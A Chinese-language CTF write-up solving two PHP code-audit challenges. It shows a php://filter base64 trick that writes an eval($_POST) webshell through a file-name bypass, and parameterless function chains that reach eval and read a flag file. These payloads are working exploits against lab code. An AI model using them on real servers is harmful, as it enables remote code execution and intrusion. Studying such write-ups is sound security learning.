天天看點

p神 代碼審計知識星球二周年wp[2]

參考文獻: https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/ http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 遞歸比對: http://www.laruence.com/2011/09/30/2179.html

easy - phpmagic

源碼

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
    <title>Domain Detail</title>
    <style>
    pre {
        width: 100%;
        background-color: #f6f8fa;
        border-radius: 3px;
        font-size: 85%;
        line-height: 1.45;
        overflow: auto;
        padding: 16px;
        border: 1px solid #ced4da;
    }
    </style>
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col">
            <form method="post">
                <div class="input-group mt-3">
                    <div class="input-group-prepend">
                        <span class="input-group-text" id="basic-addon1">dig -t A -q</span>
                    </div>
                    <input type="text" name="domain" class="form-control" placeholder="Your domain">
                    <div class="input-group-append">
                        <button class="btn btn-outline-secondary" type="submit">執行</button>
                    </div>
                </div>
            </form>
        </div>
    </div>
    <div class="row">
        <div class="col">
            <pre class="mt-3"><?php if(!empty($_POST) && $domain):
                $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
                $output = shell_exec($command);
                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
                $log_name = $_SERVER['SERVER_NAME'] . $log_name;
                if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
                    file_put_contents($log_name, $output);
                }
                echo $output;
            endif; ?></pre>
        </div>
    </div>
</div>
</body>
</html> 
           

解題思路

能控制檔案名和檔案内容,但是檔案内容被

htmlspecialchars函數

過濾了一次,尖括号沒了。PHP的一個特點:隻要是傳

filename

的地方,基本都可以傳

協定流

。而

file_put_contents

的第一個參數就是傳

filename

的地方

一個簡單的栗子

p神 代碼審計知識星球二周年wp[2]

利用php僞協定流解碼base64寫入webshell

其他問題

  • 字尾名将能解析php檔案的全禁止了
  • $log_name

    之前會加上

    $_SERVER['SERVER_NAME']

    ,不完全可控檔案名
  • 檔案内容也不完全可控

解決方法

  • 一個可以在windows和linux上都行得通的方法:
filename=1.php/.&content=<?php phpinfo();?>
           

在作業系統中,都是禁止使用

/

作為檔案名的,但是後面加一個

.

就可以成功的寫入

1.php

了。pathinfo就取不到字尾名,可以正常寫入

.php

之中。且無論是在windows上還是linux上,每次都隻可以建立新檔案,不能覆寫老檔案

  • $_SERVER['SERVER_NAME']

    取的是HTTP headers中的

    Host

    的值。

    md5($_SERVER['REMOTE_ADDR'])

    是自己本機外網ip的md5值
    p神 代碼審計知識星球二周年wp[2]
    p神 代碼審計知識星球二周年wp[2]

最終payload

domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/.
           
  • 在p神的環境上可以直接成功。但是在本機上測試的時候,寫入的檔案一直是亂碼,後來經大佬提醒才知道還需填充字元串。(左邊是p神的環境,右邊是自己的)
    p神 代碼審計知識星球二周年wp[2]
    在自己本機上的payload
domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/.
           

easy - phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
           
\W:任意個非單詞字元。比對非字母、數字、下劃線。等價于 `[^A-Za-z0-9_]`
?: 比對前面的子表達式零次或一次,或指明一個非貪婪限定符。要比對 ? 字元,請使用 \?
\((?R)?\):(?R)*表示, 正則式本身, 可以認為是:`(正則本身(正則本身).....)`。
           

那麼此題最終的正則比對就是可以遞歸執行函數,不可以帶參數。

php函數

getcwd ():取得目前工作目錄
dirname():給出一個包含有指向一個檔案的全路徑的字元串,本函數傳回去掉檔案名後的目錄名。
chdir():改變目前的目錄。
scandir(directory):傳回一個 array,包含有 `directory` 中的檔案和目錄
readdir ():傳回目錄中下一個檔案的檔案名。檔案名以在檔案系統中的排序傳回
array_reverse() :接受數組 array 作為輸入并傳回一個單元為相反順序的新數組
next():它傳回的是下一個數組單元的值并将數組指針向前移動了一位。
get_defined_vars ():傳回一個包含所有已定義變量清單的多元數組,這些變量包括環境變量、伺服器變量和使用者定義的變量。 
reset():将 array 的内部指針倒回到第一個單元并傳回第一個數組單元的值。
           

不帶參數的一些函數組合

?code=print(phpinfo());
?code=print(readdir(opendir(getcwd())));                  #列目錄
?code=print(readfile(readdir(opendir(getcwd()))));         #讀檔案
?code=print(dirname(dirname(getcwd())));      #print出/var
?code=eval(implode(getallheaders()));    #apache子產品的函數
?code=eval(implode(get_defined_vars())); 
           
?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #檢視目前檔案夾
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
           

或者

?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))
           
p神 代碼審計知識星球二周年wp[2]